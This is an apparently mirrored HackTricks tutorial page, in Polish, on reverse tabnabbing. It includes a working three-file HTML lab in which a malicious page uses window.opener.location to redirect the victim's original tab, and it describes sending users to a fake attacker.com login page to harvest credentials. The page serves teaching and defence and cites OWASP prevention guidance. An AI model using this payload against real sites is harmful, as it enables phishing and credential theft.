mirror of
https://github.com/carlospolop/hacktricks
synced 2025-02-17 06:28:27 +00:00
113 lines
6.7 KiB
Markdown
113 lines
6.7 KiB
Markdown
<details>
|
|
|
|
<summary><strong>Dowiedz się, jak hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Inne sposoby wsparcia HackTricks:
|
|
|
|
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
|
|
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
|
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|
|
|
|
|
|
# Opis
|
|
|
|
W sytuacji, gdy **atakujący** może **kontrolować** argument **`href`** znacznika **`<a`** z atrybutem **`target="_blank" rel="opener"`**, który zostanie kliknięty przez ofiarę, **atakujący** może **skierować** ten **link** do strony internetowej pod swoją kontrolą (złośliwa strona internetowa). Następnie, gdy **ofiara kliknie** link i wejdzie na stronę atakującego, ta **złośliwa strona internetowa** będzie mogła **kontrolować** **oryginalną stronę** za pomocą obiektu JavaScript **`window.opener`**.\
|
|
Jeśli strona nie ma **`rel="opener"`**, ale zawiera `target="_blank"`, to również może być podatna.
|
|
|
|
Zwykłym sposobem wykorzystania tego zachowania byłoby **zmienienie lokalizacji oryginalnej strony internetowej** za pomocą `window.opener.location = https://attacker.com/victim.html` na stronę kontrolowaną przez atakującego, która **wygląda jak oryginalna**, dzięki czemu może **naśladować** **formularz logowania** oryginalnej strony internetowej i prosić użytkownika o dane uwierzytelniające.
|
|
|
|
Należy jednak zauważyć, że ponieważ **atakujący teraz może kontrolować obiekt okna oryginalnej strony internetowej**, może go nadużywać w inny sposób, aby przeprowadzać **bardziej skryte ataki** (może modyfikować zdarzenia JavaScript, aby wyciekać informacje do serwera kontrolowanego przez niego?).
|
|
|
|
# Przegląd
|
|
|
|
## Z odnośnikiem wstecznym
|
|
|
|
Połączenie między stronami nadrzędnymi i podrzędnymi, gdy nie jest używany atrybut zapobiegający:
|
|
|
|
|
|
|
|
## Bez odnośnika wstecznego
|
|
|
|
Połączenie między stronami nadrzędnymi i podrzędnymi, gdy jest używany atrybut zapobiegający:
|
|
|
|
|
|
|
|
## Przykłady <a href="#examples" id="examples"></a>
|
|
|
|
Utwórz następujące strony w folderze i uruchom serwer WWW za pomocą `python3 -m http.server`\
|
|
Następnie **wejdź** na `http://127.0.0.1:8000/`vulnerable.html, **kliknij** na link i zauważ, jak **zmienia się** **URL** **oryginalnej** **strony internetowej**.
|
|
|
|
{% code title="vulnerable.html" %}
|
|
```markup
|
|
<!DOCTYPE html>
|
|
<html>
|
|
<body>
|
|
<h1>Victim Site</h1>
|
|
<a href="http://127.0.0.1:8000/malicious.html" target="_blank" rel="opener">Controlled by the attacker</a>
|
|
</body>
|
|
</html>
|
|
```
|
|
{% code title="złośliwy.html" %}
|
|
```markup
|
|
<!DOCTYPE html>
|
|
<html>
|
|
<body>
|
|
<script>
|
|
window.opener.location = "http://127.0.0.1:8000/malicious_redir.html";
|
|
</script>
|
|
</body>
|
|
</html>
|
|
```
|
|
{% code title="malicious_redir.html" %}
|
|
```markup
|
|
<!DOCTYPE html>
|
|
<html>
|
|
<body>
|
|
<h1>New Malicious Site</h1>
|
|
</body>
|
|
</html>
|
|
```
|
|
{% endcode %}
|
|
|
|
## Dostępne właściwości <a href="#accessible-properties" id="accessible-properties"></a>
|
|
|
|
W przypadku wystąpienia **dostępu między domenami** (dostępu między różnymi domenami), właściwości instancji klasy JavaScript **window**, na które można uzyskać dostęp przez złośliwą witrynę przy użyciu odwołania do obiektu JavaScript **opener**, są ograniczone do następujących:
|
|
|
|
- **`opener.closed`**: Ta właściwość jest używana do sprawdzenia, czy okno zostało zamknięte, zwracając wartość logiczną.
|
|
- **`opener.frames`**: Ta właściwość umożliwia dostęp do wszystkich elementów iframe w bieżącym oknie.
|
|
- **`opener.length`**: Ta właściwość zwraca liczbę elementów iframe obecnych w bieżącym oknie.
|
|
- **`opener.opener`**: Odwołanie do okna, które otworzyło bieżące okno, można uzyskać za pomocą tej właściwości.
|
|
- **`opener.parent`**: Ta właściwość zwraca okno nadrzędne bieżącego okna.
|
|
- **`opener.self`**: Ta właściwość umożliwia dostęp do samego bieżącego okna.
|
|
- **`opener.top`**: Ta właściwość zwraca najwyższe okno przeglądarki.
|
|
|
|
Jednak w przypadku, gdy domeny są identyczne, złośliwa witryna uzyskuje dostęp do wszystkich właściwości udostępnianych przez [**window**](https://developer.mozilla.org/en-US/docs/Web/API/Window) odwołanie do obiektu JavaScript.
|
|
|
|
# Zapobieganie
|
|
|
|
Informacje dotyczące zapobiegania są udokumentowane w [HTML5 Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/HTML5\_Security\_Cheat\_Sheet.html#tabnabbing).
|
|
|
|
## Odwołania
|
|
|
|
* [https://owasp.org/www-community/attacks/Reverse_Tabnabbing](https://owasp.org/www-community/attacks/Reverse_Tabnabbing)
|
|
|
|
|
|
|
|
|
|
<details>
|
|
|
|
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Inne sposoby wsparcia HackTricks:
|
|
|
|
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
|
|
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
|
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|